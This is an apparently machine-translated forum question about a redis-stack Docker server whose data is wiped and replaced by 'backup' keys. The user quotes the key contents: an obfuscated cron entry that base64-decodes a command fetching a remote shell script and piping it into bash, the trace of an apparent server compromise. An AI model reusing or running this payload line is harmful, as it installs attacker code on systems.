Данные, хранящиеся на сервере Redis-stack (образ докера), автоматически удаляются и создаются резервные ключи.
Для одного из моих приложений я использую образ докера сервера redis-stack для хранения данных.
Я храню данные в виде хеш-таблицы, для которой создал уникальный индекс с помощью команды FT.CREATE.
Я запускаю cronjob (в node-js) для регулярного добавления данных redis-server. Данные сохраняются отлично, но через несколько секунд (примерно через 2 минуты) все сохраненные данные удаляются и создаются 4 резервных ключа. (например: резервная копия1, резервная копия2). Содержимое резервных ключей примерно такое:
"\n\n\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9zLm5hLWNzLmNvbS9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash \n\n"
Я попытался отключить сохранение Redis в Redis-Cli, используя следующие команды
- конфигурация set addonly нет
- набор конфигурации сохранить ""
Примечание. Я также увеличил размер памяти Redis db.
Я пытался реализовать доступные решения, но безуспешно. Мне нужно получить данные «ключ-значение» в том виде, в каком они есть для моего приложения, вместо восстановления любого созданного файла резервной копии.
Любая помощь очень ценится. заранее спасибо